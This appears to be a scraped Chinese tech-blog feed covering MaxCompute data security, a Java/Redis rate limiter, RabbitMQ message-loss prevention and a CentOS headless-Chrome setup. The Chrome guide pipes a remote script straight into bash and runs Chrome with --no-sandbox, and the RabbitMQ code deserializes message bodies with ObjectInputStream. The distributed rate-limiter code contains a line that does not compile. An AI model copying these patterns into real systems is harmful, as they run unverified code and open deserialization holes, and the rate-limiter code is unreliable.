    • .数据加密后对用户使用保持透明,各种类型的任务不需额外改变。

    3.应对数据数据处理过程中的数据泄露风险 - MaxCompute 安全隔离能力

    在数据处理过程中,应对数据泄露的风险则主要在于大数据平台的安全隔离能力。
    MaxCompute 提供独立的隔离环境用于执行数据处理应用,可以支持完整的UDF种类,支持 Java和Python UDF, 还支持执行如Spark、Flink、Tensorflow 等开源三方计算引擎,提供了多元化的数据处理能力。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-8:MaxCompute 安全隔离能力)

    4.应对数据交换(共享)过程中的数据泄露风险 - MaxCompute数据隔离与权限体系

    在数据交换、或者说数据共享过程中,则需要完善的数据隔离能力与权限管理体系来保障数据安全、防范数据泄露风险。MaxCompute 提供不同层级和维度上的数据隔离与权限管理机制,以支持多层次的数据保护和数据共享场景。

    • 多租户的数据安全隔离:MaxCompute 支持多租户的使用场景,针对不同的用户数据进行数据存储隔离,用户数据被离散存储在分布式文件系统中,满足多用户协同、共享、和安全的需要,做到真正的多租户资源隔离。

    • 租户内的业务(Project)数据隔离与共享:同一租户下,不同业务(Project)之间的数据隔离、以及一定程度上的数据共享是非常常见的场景。基于ProjectProtection 保护机制可以实现 Project之间的数据隔离与保护,二Package则能让用户更方便同时也更安全的实现跨Project的数据和资源分享。如前文“MaxCompute 细粒度权限体系提供精细化的权限管理能力”介绍,此次安全能力升级增加了对Package的数据和资源做细粒度的权限管理,增强了Package的数据共享和保护能力。

    • (New) 应用端数据访问控制:通过对访问MaxCompute的的应用增加签名机制,增强了对应用端访问控制的管理能力。 例如,只允许特定的应用可以进行授权语句的操作,以避免用户通过接口或不合规的应用进行非法数据授权操作。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-9:MaxCompute 数据隔离能力)

    5.(New) 数据生命周期中的敏感数据保护

    应对数据泄露风险中的一个重要主题是敏感数据保护,前文所述在存储、处理、和交换过程中的风险应对实践,对敏感数据保护同样适用。 此外,还有一些针对敏感数据保护这一特定场景的最佳实践:

    • 数据分类分级:使用 MaxCompute 的 LabelSecurity 功能,对数据做安全性的分类分级,对不同类别不同安全等级的数据访问和使用,进行精细化的权限管理。

    • (New) 数据脱敏:基于安全行业的脱敏实现或应用,结合 MaxCompute 的平台 UDF 能力,实现不同客户端数据输出时的敏感数据脱敏。脱敏实现也可以与数据分类分级结合使用,对不同分类分级的数据做不同的脱敏实现。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-10:敏感数据保护)

    (New)用数据保护伞作为敏感数据保护工具

    数据保护伞,是基于 MaxCompute 平台的数据分类分级能力和接入脱敏应用能力、构建的敏感数据保护工具。用户可以使用数据保护伞对敏感数据进行标识,选择脱敏算法,在数据屏显输出时进行脱敏。
    更多产品说明和使用介绍,详见《数据保护伞》用户文档。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-11:敏感数据保护工具 - 数据保护伞)

    如何应对数据丢失

    除了恶意的数据泄露、数据滥用等风险,数据开发过程中的各种误操作,偶发的设备或机房故障,甚或是罕见的灾害意外情况,都能造成数据丢失的后果。 应对数据丢失风险的最佳实践,主要有备份恢复,以及容灾能力。

    1.(New) MaxCompute 备份与恢复

    数据开发过程中,避免不了会有误操作删除数据(如Drop/Truncate Table)后需要恢复,或使用“insert into”、“insertoverwrite”语法执行后发现数据有问题需要恢复之前版本。

    MaxCompute 近期发布了持续的备份与恢复能力,系统会自动备份数据的历史版本(例如被删除或修改前的数据)并保留一定时间,您可以对保留周期内的数据进行快速恢复,避免因误操作丢失数据。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-12:MaxCompute 持续备份与恢复能力)

    2.(New) MaxCompute 异地容灾

    MaxCompute 的异地容灾能力,更好的提供了在机房故障或意外灾害等极端场景下的数据安全保障。
    在为 MaxCompute 项目指定备份位置到备份集群后,MaxCompute 自动实现主集群与备份集群的数据复制,达到主集群与被集群数据的一致,实现异地数据容灾。当发生故障,MaxCompute 项目从主集群切换到备份集群后,使用备份集群的计算资源访问备份集群的数据,完成服务的切换和恢复。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-13:MaxCompute 异地容灾)

    善用审计,应对各类数据风险

    至此,我们已经介绍了在数据开发和使用过程中,应对各类数据风险的实践。我们把非常重要的、适用于各类数据风险应对的一个实践,放在最后介绍:善用日志,构建预警和审计能力。

    MaxCompute 提供了完善的历史数据和实时日志:

    • Information Schema:提供了项目元数据及使用历史数据等信息。PRIVILEGES 和 HISTORY 类的视图,可以帮助用户对数据权限使用、任务执行等维度做分析审计。

    • (New) 实时审计日志功能:MaxCompute 完整记录了用户的各项操作行为,如DDL、授权、任务执行等各类事件,满足实时审计、问题回溯分析等需求。

    基于 Information Schema 和 实时审计日志,用户可以构建自己的数据风控和审计体系。Information Schema 去年就已上线,下文将主要介绍新发布的实时审计日志。

    当然,并不是所有的用户都计划自己构建风控和审计工具,这种情况下,可以直接使用 Dataworks 中的已有产品,进行风控和审计。优点是无需用户二次开发、开箱即用,缺点则是定制的弹性较小。

    1.(New) 实时审计日志

    敏感数据是否被过度使用?数据访问权限是否被过度授予?是否有异常如计划外高频的数据访问?在数据安全保障中,管理者常常需要回答这些问题。 MaxCompute 审计日志可以帮助回答这些问题。

    MaxCompute完整地记录用户的各项操作行为,并通过阿里云ActionTrail服务将用户行为日志实时推送给ActionTrail。用户可以在ActionTrail中查看和检索用户行为日志,同时通过ActrionTrail将日志投递到日志服务项目或指定的OSS Bucket中,满足实时审计、问题回溯分析等需求。

    ActionTrail针对作业(Instance)、表(Table)、函数(Function)、资源(Resource)、用户(User)、角色(Role)和授权(Privilege)等事件的多种操作行为进行审计,详细功能说明和使用介绍,详见《审计日志》用户文档。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-14:MaxCompute 审计日志)


    2.使用 DataWorks 中的审计工具

    用户也可以使用 Dataworks 的已有产品,进行数据安全的风控和审计:

    • 在前文中介绍的安全中心,可以提供权限的审计。
    • 数据保护伞也提供了风控和审计能力,如图-15。
    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-15:使用数据保护伞做风控和审计)

    小结

    小结的同时呼应开篇,我们再次来看企业级大数据平台三个层次的数据安全保障体系。 这次我们把 MaxCompute 的安全能力按数据生命周期的6个阶段来重新组织,如图-16。帮助大家更好理解,在不同的数据生命阶段,应该采用哪些实践来实施安全保障。图-16中的黄色高亮部分,则标识了此次 MaxCompute 安全能力升级中的新功能。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-16:基于大数据平台构建数据什么周期的安全保障)

    作为 SaaS 模式下的云数据仓库,MaxCompute 具备领先的安全能力,也通过了国际、欧洲、国内的多项安全合规认证,如国际主流认证ISO系列、SOC1/2/3、PCI,欧洲主流认证C5,国内主流认证安全等级保护2.0,等。 阿里云整体的安全合规认证,详见《阿里云信任中心-合规认证》页面。 欢迎大家使用 MaxCompute,构建企业级的大数据安全。

    发布会传送门

    查看产品详情

    ]]>
    分布式接口限流实现 Fri, 02 May 2025 09:39:03 +0800 @[toc]
    ## 为什么要接口限流

    • 在我们项目开发过程中,有些接口是暴露在用户的常用中,包括一些高危接口,如 (支付,开发票,订单),这些接口 都是高危接口,且被用户经常使用,在高并发的情况下,io阻塞,不可避免的出现重复提交,或者点击频繁的操作,所以我们就要加入限流,避免用户多次点击,减少我们接口的压力,把整数据不会重复,接口压力减小

    为什么要做分布式

    • 在我们做项目负载均衡的时候, 分布式,微服务架构的时候,不可避免的多个节点,这个时候我们就要考虑会被随机分配到各个节点,如果 我们使用 令牌桶 或者 漏斗桶 算法到话,存到 本地,各个节点不会共享,所以
      我们要考虑模块,节点间的共享

    实现方式

    1. 算法实现(无分布式,单体架构,单节点)

    1. 自定义注解
    package com.yxl.annotation;
    
    import org.springframework.core.annotation.AliasFor;
    
    import java.lang.annotation.*;
    import java.util.concurrent.TimeUnit;
    
    /**
     * <p>
     * 限流注解,
     * </p>
     */
    @Target(ElementType.METHOD)
    @Retention(RetentionPolicy.RUNTIME)
    @Documented
    public @interface RateLimiter {
    
        int NOT_LIMITED = 0;
    
        /**
         * qps
         */
        @AliasFor("qps") double value() default NOT_LIMITED;
    
        /**
         * qps
         */
        @AliasFor("value") double qps() default NOT_LIMITED;
    
        /**
         * 超时时长
         */
        int timeout() default 0;
    
        /**
         * 超时时间单位
         */
        TimeUnit timeUnit() default TimeUnit.MILLISECONDS;
    
    }
    1. AOP实现切面 + 令牌桶算法实现
    package com.yxl.aspect;
    
    import com.yxl.annotation.RateLimiter;
    import lombok.extern.slf4j.Slf4j;
    import org.aspectj.lang.ProceedingJoinPoint;
    import org.aspectj.lang.annotation.Around;
    import org.aspectj.lang.annotation.Aspect;
    import org.aspectj.lang.annotation.Pointcut;
    import org.aspectj.lang.reflect.MethodSignature;
    import org.springframework.core.annotation.AnnotationUtils;
    import org.springframework.stereotype.Component;
    
    import java.lang.reflect.Method;
    import java.util.concurrent.ConcurrentHashMap;
    import java.util.concurrent.ConcurrentMap;
    
    
    /**
     * <p>
     * 限流切面
     * </p>
     *
     * @author yxl
     * @date Created in 2019/9/12 14:27
     */
    @Slf4j
    @Aspect
    @Component
    public class RateLimiterAspect {
        private static final ConcurrentMap<String, com.google.common.util.concurrent.RateLimiter> RATE_LIMITER_CACHE = new ConcurrentHashMap<>();
    
        @Pointcut("@annotation(com.yxl.annotation.RateLimiter)")
        public void rateLimit() {
    
        }
    
        @Around("rateLimit()")
        public Object pointcut(ProceedingJoinPoint point) throws Throwable {
            MethodSignature signature = (MethodSignature) point.getSignature();
            Method method = signature.getMethod();
            // 通过 AnnotationUtils.findAnnotation 获取 RateLimiter 注解
            RateLimiter rateLimiter = AnnotationUtils.findAnnotation(method, RateLimiter.class);
            if (rateLimiter != null && rateLimiter.qps() > RateLimiter.NOT_LIMITED) {
                double qps = rateLimiter.qps();
                if (RATE_LIMITER_CACHE.get(method.getName()) == null) {
                    // 初始化 QPS
                    RATE_LIMITER_CACHE.put(method.getName(), com.google.common.util.concurrent.RateLimiter.create(qps));
                }
    
                log.debug("【{}】的QPS设置为: {}", method.getName(), RATE_LIMITER_CACHE.get(method.getName()).getRate());
                // 尝试获取令牌
                if (RATE_LIMITER_CACHE.get(method.getName()) != null && !RATE_LIMITER_CACHE.get(method.getName()).tryAcquire(rateLimiter.timeout(), rateLimiter.timeUnit())) {
                    throw new RuntimeException("手速太快了,慢点儿吧~");
                }
            }
            return point.proceed();
        }
    }
    

    使用方式

    在这里插入图片描述

    查看结果(这里使用了自定义异常)
    在这里插入图片描述

    2. 分布式实现

    package com.yxzapp.annotation;
    
    import org.springframework.core.annotation.AliasFor;
    
    import java.lang.annotation.*;
    import java.util.concurrent.TimeUnit;
    
    /**
     * <p>
     * 限流注解,
     * </p>
     */
    @Target(ElementType.METHOD)
    @Retention(RetentionPolicy.RUNTIME)
    @Documented
    public @interface RateLimiter {
    
        int NOT_LIMITED = 0;
    
        /**
         * 类名
         * @return
         */
        String className() default "";
    
        /**
         * qps
         */
        @AliasFor("qps") double value() default NOT_LIMITED;
    
        /**
         * qps
         */
        @AliasFor("value") double qps() default NOT_LIMITED;
    
        /**
         * 限流时间
         */
        int timeout() default 0;
    
        /**
         * 超时时间单位
         */
        TimeUnit timeUnit() default TimeUnit.MILLISECONDS;
    
    }
    

    使用 AOP + redis 实现

    package com.yxzapp.aspect;
    
    
    import com.yxzapp.annotation.RateLimiter;
    import com.yxzapp.commons.constant.MessageConstant;
    import com.yxzapp.exception.BizException;
    import com.yxzapp.modules.sys.entity.SysUser;
    import com.yxzapp.utils.RedisUtils;
    import lombok.extern.slf4j.Slf4j;
    import org.apache.shiro.SecurityUtils;
    import org.aspectj.lang.ProceedingJoinPoint;
    import org.aspectj.lang.annotation.Around;
    import org.aspectj.lang.annotation.Aspect;
    import org.aspectj.lang.annotation.Pointcut;
    import org.aspectj.lang.reflect.MethodSignature;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.core.annotation.AnnotationUtils;
    import org.springframework.stereotype.Component;
    import org.springframework.web.context.request.RequestContextHolder;
    import org.springframework.web.context.request.ServletRequestAttributes;
    
    import javax.servlet.http.HttpServletRequest;
    import java.lang.reflect.Method;
    import java.util.concurrent.ConcurrentHashMap;
    import java.util.concurrent.ConcurrentMap;
    
    
    /**
     * <p>
     * 限流切面
     * </p>
     *
     * @author yxl
     * @date  2020/6/19
     */
    @Slf4j
    @Aspect
    @Component
    public class RateLimiterAspect {
    
        @Autowired
        private RedisUtils redisUtils;
    
        @Pointcut("@annotation(com.yxzapp.annotation.RateLimiter)")
        public void rateLimit() {
    
        }
    
        @Around("rateLimit()")
        public Object pointcut(ProceedingJoinPoint point) throws Throwable {
            MethodSignature signature = (MethodSignature) point.getSignature();
            Method method = signature.getMethod();
            Class aClass = signature.getClass();
    
            // 获取方法上的@RateLimiter注解
            RateLimiter rateLimiter = AnnotationUtils.findAnnotation(method, RateLimiter.class);
        
            if (rateLimiter != null && rateLimiter.qps() > RateLimiter.NOT_LIMITED) {
                //获取qps
                double qps = rateLimiter.qps();
                
                String key = "RateLimiter:" rateLimiter.className() + +':'+ method.getName();
                if(!redisUtils.hasKey(key)){
                    redisUtils.setMillisecond(key,rateLimiter.qps(),rateLimiter.timeout());
                }else if(redisUtils.get(key) != null) {
                    throw new BizException(MessageConstant.MSG_STATUS,"手速太快了,慢点儿吧~");
                }
    
                log.debug("【{}】的QPS设置为: {}", key, redisUtils.get(key));
    
            }
            return point.proceed();
        }
    }

    使用方式

    在这里插入图片描述
    查看结果 (这里使用了自定义异常)
    在这里插入图片描述

    ]]>
    详细讲解!RabbitMQ防止数据丢失 Fri, 02 May 2025 09:39:03 +0800 思维导图

    在这里插入图片描述

    一、分析数据丢失的原因

    分析RabbitMQ消息丢失的情况,不妨先看看一条消息从生产者发送到消费者消费的过程:

    可以看出,一条消息整个过程要经历两次的网络传输:从生产者发送到RabbitMQ服务器,从RabbitMQ服务器发送到消费者

    在消费者未消费前存储在队列(Queue)中

    所以可以知道,有三个场景下是会发生消息丢失的:

    • 存储在队列中,如果队列没有对消息持久化,RabbitMQ服务器宕机重启会丢失数据。
    • 生产者发送消息到RabbitMQ服务器过程中,RabbitMQ服务器如果宕机停止服务,消息会丢失。
    • 消费者从RabbitMQ服务器获取队列中存储的数据消费,但是消费者程序出错或者宕机而没有正确消费,导致数据丢失。

    针对以上三种场景,RabbitMQ提供了三种解决的方式,分别是消息持久化,confirm机制,ACK事务机制。

    二、消息持久化

    RabbitMQ是支持消息持久化的,消息持久化需要设置:Exchange为持久化和Queue持久化,这样当消息发送到RabbitMQ服务器时,消息就会持久化。

    首先看Exchange交换机的类图:

    看这个类图其实是要说明上一篇文章介绍的四种交换机都是AbstractExchange抽象类的子类,所以根据java的特性,创建子类的实例会先调用父类的构造器,父类也就是AbstractExchange的构造器是怎么样的呢?

    从上面的注释可以看到durable参数表示是否持久化。默认是持久化(true)。创建持久化的Exchange可以这样写:

        @Bean
        public DirectExchange rabbitmqDemoDirectExchange() {
            //Direct交换机
            return new DirectExchange(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_EXCHANGE, true, false);
        }

    接着是Queue队列,我们先看看Queue的构造器是怎么样的:

    也是通过durable参数设置是否持久化,默认是true。所以创建时可以不指定:

        @Bean
        public Queue fanoutExchangeQueueA() {
            //只需要指定名称,默认是持久化的
            return new Queue(RabbitMQConfig.FANOUT_EXCHANGE_QUEUE_TOPIC_A);
        }

    这就完成了消息持久化的设置,接下来启动项目,发送几条消息,我们可以看到:


    怎么证明是已经持久化了呢,实际上可以找到对应的文件:
    在这里插入图片描述
    找到对应磁盘中的目录:

    消息持久化可以防止消息在RabbitMQ Server中不会因为宕机重启而丢失

    三、消息确认机制

    3.1 confirm机制

    在生产者发送到RabbitMQ Server时有可能因为网络问题导致投递失败,从而丢失数据。我们可以使用confirm模式防止数据丢失。工作流程是怎么样的呢,看以下图解:
    在这里插入图片描述
    从上图中可以看到是通过两个回调函数confirm()、returnedMessage()进行通知。

    一条消息从生产者发送到RabbitMQ,首先会发送到Exchange,对应回调函数confirm()。第二步从Exchange路由分配到Queue中,对应回调函数则是returnedMessage()

    代码怎么实现呢,请看演示:

    首先在application.yml配置文件中加上如下配置:

    spring:
      rabbitmq:
        publisher-confirms: true
    #    publisher-returns: true
        template:
          mandatory: true
    # publisher-confirms:设置为true时。当消息投递到Exchange后,会回调confirm()方法进行通知生产者
    # publisher-returns:设置为true时。当消息匹配到Queue并且失败时,会通过回调returnedMessage()方法返回消息
    # spring.rabbitmq.template.mandatory: 设置为true时。指定消息在没有被队列接收时会通过回调returnedMessage()方法退回。

    有个小细节,publisher-returns和mandatory如果都设置的话,优先级是以mandatory优先。可以看源码:
    在这里插入图片描述
    接着我们需要定义回调方法:

    @Component
    public class RabbitmqConfirmCallback implements RabbitTemplate.ConfirmCallback, RabbitTemplate.ReturnCallback {
        private Logger logger = LoggerFactory.getLogger(RabbitmqConfirmCallback.class);
    
        /**
         * 监听消息是否到达Exchange
         *
         * @param correlationData 包含消息的唯一标识的对象
         * @param ack             true 标识 ack,false 标识 nack
         * @param cause           nack 投递失败的原因
         */
        @Override
        public void confirm(CorrelationData correlationData, boolean ack, String cause) {
            if (ack) {
                logger.info("消息投递成功~消息Id:{}", correlationData.getId());
            } else {
                logger.error("消息投递失败,Id:{},错误提示:{}", correlationData.getId(), cause);
            }
        }
    
        @Override
        public void returnedMessage(Message message, int replyCode, String replyText, String exchange, String routingKey) {
            logger.info("消息没有路由到队列,获得返回的消息");
            Map map = byteToObject(message.getBody(), Map.class);
            logger.info("message body: {}", map == null ? "" : map.toString());
            logger.info("replyCode: {}", replyCode);
            logger.info("replyText: {}", replyText);
            logger.info("exchange: {}", exchange);
            logger.info("routingKey: {}", exchange);
            logger.info("------------> end <------------");
        }
    
        @SuppressWarnings("unchecked")
        private <T> T byteToObject(byte[] bytes, Class<T> clazz) {
            T t;
            try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
                 ObjectInputStream ois = new ObjectInputStream(bis)) {
                t = (T) ois.readObject();
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
            return t;
        }
    }

    我这里就简单地打印回调方法返回的消息,在实际项目中,可以把返回的消息存储到日志表中,使用定时任务进行进一步的处理。

    我这里是使用RabbitTemplate进行发送,所以在Service层的RabbitTemplate需要设置一下:

    @Service
    public class RabbitMQServiceImpl implements RabbitMQService {
        @Resource
        private RabbitmqConfirmCallback rabbitmqConfirmCallback;
    
        @Resource
        private RabbitTemplate rabbitTemplate;
    
        @PostConstruct
        public void init() {
            //指定 ConfirmCallback
            rabbitTemplate.setConfirmCallback(rabbitmqConfirmCallback);
            //指定 ReturnCallback
            rabbitTemplate.setReturnCallback(rabbitmqConfirmCallback);
        }
        
        @Override
        public String sendMsg(String msg) throws Exception {
            Map<String, Object> message = getMessage(msg);
            try {
                CorrelationData correlationData = (CorrelationData) message.remove("correlationData");
                rabbitTemplate.convertAndSend(RabbitMQConfig.RABBITMQ_DEMO_DIRECT_EXCHANGE, RabbitMQConfig.RABBITMQ_DEMO_DIRECT_ROUTING, message, correlationData);
                return "ok";
            } catch (Exception e) {
                e.printStackTrace();
                return "error";
            }
        }
        
        private Map<String, Object> getMessage(String msg) {
            String msgId = UUID.randomUUID().toString().replace("-", "").substring(0, 32);
            CorrelationData correlationData = new CorrelationData(msgId);
            String sendTime = sdf.format(new Date());
            Map<String, Object> map = new HashMap<>();
            map.put("msgId", msgId);
            map.put("sendTime", sendTime);
            map.put("msg", msg);
            map.put("correlationData", correlationData);
            return map;
        }
    }

    大功告成!接下来我们进行测试,发送一条消息,我们可以控制台:
    在这里插入图片描述
    假设发送一条信息没有路由匹配到队列,可以看到如下信息:
    在这里插入图片描述
    这就是confirm模式。它的作用是为了保障生产者投递消息到RabbitMQ不会出现消息丢失

    3.2 事务机制(ACK)

    最开始的那张图已经讲过,消费者从队列中获取到消息后,会直接确认签收,假设消费者宕机或者程序出现异常,数据没有正常消费,这种情况就会出现数据丢失

    所以关键在于把自动签收改成手动签收,正常消费则返回确认签收,如果出现异常,则返回拒绝签收重回队列。
    在这里插入图片描述
    代码怎么实现呢,请看演示:

    首先在消费者的application.yml文件中设置事务提交为manual手动模式:

    spring:
      rabbitmq:
        listener:
          simple:
            acknowledge-mode: manual # 手动ack模式
            concurrency: 1 # 最少消费者数量
            max-concurrency: 10 # 最大消费者数量

    然后编写消费者的监听器:

    @Component
    public class RabbitDemoConsumer {
    
        enum Action {
            //处理成功
            SUCCESS,
            //可以重试的错误,消息重回队列
            RETRY,
            //无需重试的错误,拒绝消息,并从队列中删除
            REJECT
        }
    
        @RabbitHandler
        @RabbitListener(queuesToDeclare = @Queue(RabbitMQConfig.RABBITMQ_DEMO_TOPIC))
        public void process(String msg, Message message, Channel channel) {
            long tag = message.getMessageProperties().getDeliveryTag();
            Action action = Action.SUCCESS;
            try {
                System.out.println("消费者RabbitDemoConsumer从RabbitMQ服务端消费消息:" + msg);
                if ("bad".equals(msg)) {
                    throw new IllegalArgumentException("测试:抛出可重回队列的异常");
                }
                if ("error".equals(msg)) {
                    throw new Exception("测试:抛出无需重回队列的异常");
                }
            } catch (IllegalArgumentException e1) {
                e1.printStackTrace();
                //根据异常的类型判断,设置action是可重试的,还是无需重试的
                action = Action.RETRY;
            } catch (Exception e2) {
                //打印异常
                e2.printStackTrace();
                //根据异常的类型判断,设置action是可重试的,还是无需重试的
                action = Action.REJECT;
            } finally {
                try {
                    if (action == Action.SUCCESS) {
                        //multiple 表示是否批量处理。true表示批量ack处理小于tag的所有消息。false则处理当前消息
                        channel.basicAck(tag, false);
                    } else if (action == Action.RETRY) {
                        //Nack,拒绝策略,消息重回队列
                        channel.basicNack(tag, false, true);
                    } else {
                        //Nack,拒绝策略,并且从队列中删除
                        channel.basicNack(tag, false, false);
                    }
                    channel.close();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    解释一下上面的代码,如果没有异常,则手动确认回复RabbitMQ服务端basicAck(消费成功)。

    如果抛出某些可以重回队列的异常,我们就回复basicNack并且设置重回队列。

    如果是抛出不可重回队列的异常,就回复basicNack并且设置从RabbitMQ的队列中删除。

    接下来进行测试,发送一条普通的消息"hello":
    在这里插入图片描述
    解释一下ack返回的三个方法的意思。

    ①成功确认

    void basicAck(long deliveryTag, boolean multiple) throws IOException;

    消费者成功处理后调用此方法对消息进行确认。

    • deliveryTag:该消息的index
    • multiple:是否批量.。true:将一次性ack所有小于deliveryTag的消息。

    ②失败确认

    void basicNack(long deliveryTag, boolean multiple, boolean requeue) throws IOException;
    • deliveryTag:该消息的index。
    • multiple:是否批量。true:将一次性拒绝所有小于deliveryTag的消息。
    • requeue:被拒绝的是否重新入队列。

    ③失败确认

    void basicReject(long deliveryTag, boolean requeue) throws IOException;
    • deliveryTag:该消息的index。
    • requeue:被拒绝的是否重新入队列。

    basicNack()和basicReject()的区别在于:basicNack()可以批量拒绝,basicReject()一次只能拒接一条消息

    四、遇到的坑

    4.1 启用nack机制后,导致的死循环

    上面的代码我故意写了一个bug。测试发送一条"bad",然后会抛出重回队列的异常。这就有个问题:重回队列后消费者又消费,消费抛出异常又重回队列,就造成了死循环。
    在这里插入图片描述
    那怎么避免这种情况呢?

    既然nack会造成死循环的话,我提供的一个思路是不使用basicNack(),把抛出异常的消息落库到一张表中,记录抛出的异常,消息体,消息Id。通过定时任务去处理

    如果你有什么好的解决方案,也可以留言讨论~

    4.2 double ack

    有的时候比较粗心,不小心开启了自动Ack模式,又手动回复了Ack。那就会报这个错误:

    消费者RabbitDemoConsumer从RabbitMQ服务端消费消息:java技术爱好者
    2020-08-02 22:52:42.148 ERROR 4880 --- [ 127.0.0.1:5672] o.s.a.r.c.CachingConnectionFactory       : Channel shutdown: channel error; protocol method: #method<channel.close>(reply-code=406, reply-text=PRECONDITION_FAILED - unknown delivery tag 1, class-id=60, method-id=80)
    2020-08-02 22:52:43.102  INFO 4880 --- [cTaskExecutor-1] o.s.a.r.l.SimpleMessageListenerContainer : Restarting Consumer@f4a3a8d: tags=[{amq.ctag-8MJeQ7el_PNbVJxGOOw7Rw=rabbitmq.demo.topic}], channel=Cached Rabbit Channel: AMQChannel(amqp://guest@127.0.0.1:5672/,5), conn: Proxy@782a1679 Shared Rabbit Connection: SimpleConnection@67c5b175 [delegate=amqp://guest@127.0.0.1:5672/, localPort= 56938], acknowledgeMode=AUTO local queue size=0

    出现这个错误,可以检查一下yml文件是否添加了以下配置:

    spring:
      rabbitmq:
        listener:
          simple:
            acknowledge-mode: manual
            concurrency: 1
            max-concurrency: 10

    如果上面这个配置已经添加了,还是报错,有可能你使用@Configuration配置了SimpleRabbitListenerContainerFactory,根据SpringBoot的特性,代码优于配置,代码的配置覆盖了yml的配置,并且忘记设置手动manual模式

    @Bean
        public SimpleRabbitListenerContainerFactory rabbitListenerContainerFactory(ConnectionFactory connectionFactory) {
            SimpleRabbitListenerContainerFactory factory = new SimpleRabbitListenerContainerFactory();
            factory.setConnectionFactory(connectionFactory);
            //设置手动ack模式
            factory.setAcknowledgeMode(AcknowledgeMode.MANUAL);
            return factory;
        }

    如果你还是有报错,那可能是写错地方了,写在生产者的项目了。以上的配置应该配置在消费者的项目。因为ack模式是针对消费者而言的。我就是写错了,写在生产者,折腾了几个小时,泪目~

    4.3 性能问题

    其实手动ACK相对于自动ACK肯定是会慢很多,我在网上查了一些资料,性能相差大概有10倍。所以一般在实际应用中不太建议开手动ACK模式。不过也不是绝对不可以开,具体情况具体分析,看并发量,还有数据的重要性等等。

    所以在实际项目中还需要权衡一下并发量和数据的重要性,再决定具体的方案

    4.4 启用手动ack模式,如果没有及时回复,会造成队列异常

    如果开启了手动ACK模式,但是由于代码有bug的原因,没有回复RabbitMQ服务端,那么这条消息就会放到Unacked状态的消息堆里,只有等到消费者的连接断开才会转到Ready消息。如果消费者一直没有断开连接,那Unacked的消息就会越来越多,占用内存就越来越大,最后就会出现异常。

    这个问题,我没法用我的电脑演示,我的电脑太卡了。

    五、总结

    通过上面的学习后,总结了RabbitMQ防止数据丢失有三种方式:

    • 消息持久化
    • 生产者消息确认机制(confirm模式)
    • 消费者消息确认模式(ack模式)

    上面所有例子的代码都上传github了:

    https://github.com/yehongzhi/mall

    如果你觉得这篇文章对你有用,点个赞吧~

    你的点赞是我创作的最大动力~

    想第一时间看到我更新的文章,可以微信搜索公众号「java技术爱好者」,拒绝做一条咸鱼,我是一个努力让大家记住的程序员。我们下期再见!!!
    在这里插入图片描述

    能力有限,如果有什么错误或者不当之处,请大家批评指正,一起学习交流!

    ]]>
    CentOS 6.x 搭建:Headless Chrome + ChromeDriver + Selenium基于浏览器的爬虫环境 Fri, 02 May 2025 09:39:03 +0800 【转载请注明出处】:https://blog.csdn.net/huahao1989/article/details/107890747

    Chrome官方网站已经说的很清楚,不再支持6.x的CentOS,至少7以上。 可是很多时候我们使用的服务器版本并不能随便升级,即便已经很难受了,但是还得继续使用低版本,装起来那是真叫一个费劲,还好就是费劲一些,最终还是可以装成功的。

    什么是 Headless Chrome

    Headless Chrome 是 Chrome 浏览器的无界面形态,可以在不打开浏览器的前提下,使用所有 Chrome 支持的特性运行你的程序。相比于现代浏览器,Headless Chrome 更加方便测试 web 应用,获得网站的截图,做爬虫抓取信息等。相比于出道较早的 PhantomJS,SlimerJS 等,Headless Chrome 则更加贴近浏览器环境。

    CentOS版本

    lsb_release -a

    image.png

    最新版本Google-Chrome安装

    CentOS/RedHat 7以上安装google-chrome可以完全参考https://intoli.com/blog/installing-google-chrome-on-centos/ (6及以下版本不适用)。

    指定yum源

    服务器应该指定合适yum源,避免找不到某些依赖的尴尬。
    修改 /etc/yum.repos.d/CentOS-Base.repo,可以使用阿里的yum repo:

    wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-6.repo
    yum clean all
    安装google-chrome

    根据https://intoli.com/blog/installing-google-chrome-on-centos/ ,执行命令:

    curl https://intoli.com/install-google-chrome.sh | bash

    脚本会自动检测当前版本安装chrome所缺失的依赖包并下载。
    image.png

    检查是否还缺乏依赖:

    ldd /opt/google/chrome/chrome | grep "not found"

    返回为空,说明CentOS下chrome依赖问题基本解决。

    运行chrome

    执行

    google-chrome-stable --no-sandbox --headless --disable-gpu --screenshot https://www.suning.com/。

    访问成功,在当前目录会生成截图screenshot.png,如果报错

    [0100/000000.311368:ERROR:broker_posix.cc(43)] Invalid node channel message

    则需要安装依赖包:

    yum install  
     ipa-gothic-fonts 
     xorg-x11-fonts-100dpi 
     xorg-x11-fonts-75dpi 
     xorg-x11-utils 
     xorg-x11-fonts-cyrillic 
     xorg-x11-fonts-Type1 
     xorg-x11-fonts-misc -y 

    最新版本Chromedriver安装

    当前的chrome版本是 google-chrome-stable-72.0.3626.109-1.x86_64,chromedrive的官网是https://sites.google.com/a/chromium.org/chromedriver/downloads
    image.png
    下载地址https://chromedriver.storage.googleapis.com/2.46/chromedriver_linux64.zip
    或者选择taobao镜像下载http://npm.taobao.org/mirrors/chromedriver/
    镜像下载地址http://npm.taobao.org/mirrors/chromedriver/2.46/chromedriver_linux64.zip

    解压后部署到/opt/drivers目录下,尝试运行:

    ./chromedriver 
    Starting ChromeDriver 72.0.3626.7 (efcef9a3ecda02b2132af215116a03852d08b9cb) on port 9515
    Only local connections are allowed.
    [1550143530.011][SEVERE]: CreatePlatformSocket() returned an error, errno=0: Address family not supported by protocol (97)

    另外要修改/etc/hosts,绑定127.0.0.1 localhost,否则,Java Selenium运行时chromedriver可能因为找不到localhost报超时异常

    安装selenium

    • 安装 Python 并配置好环境变量
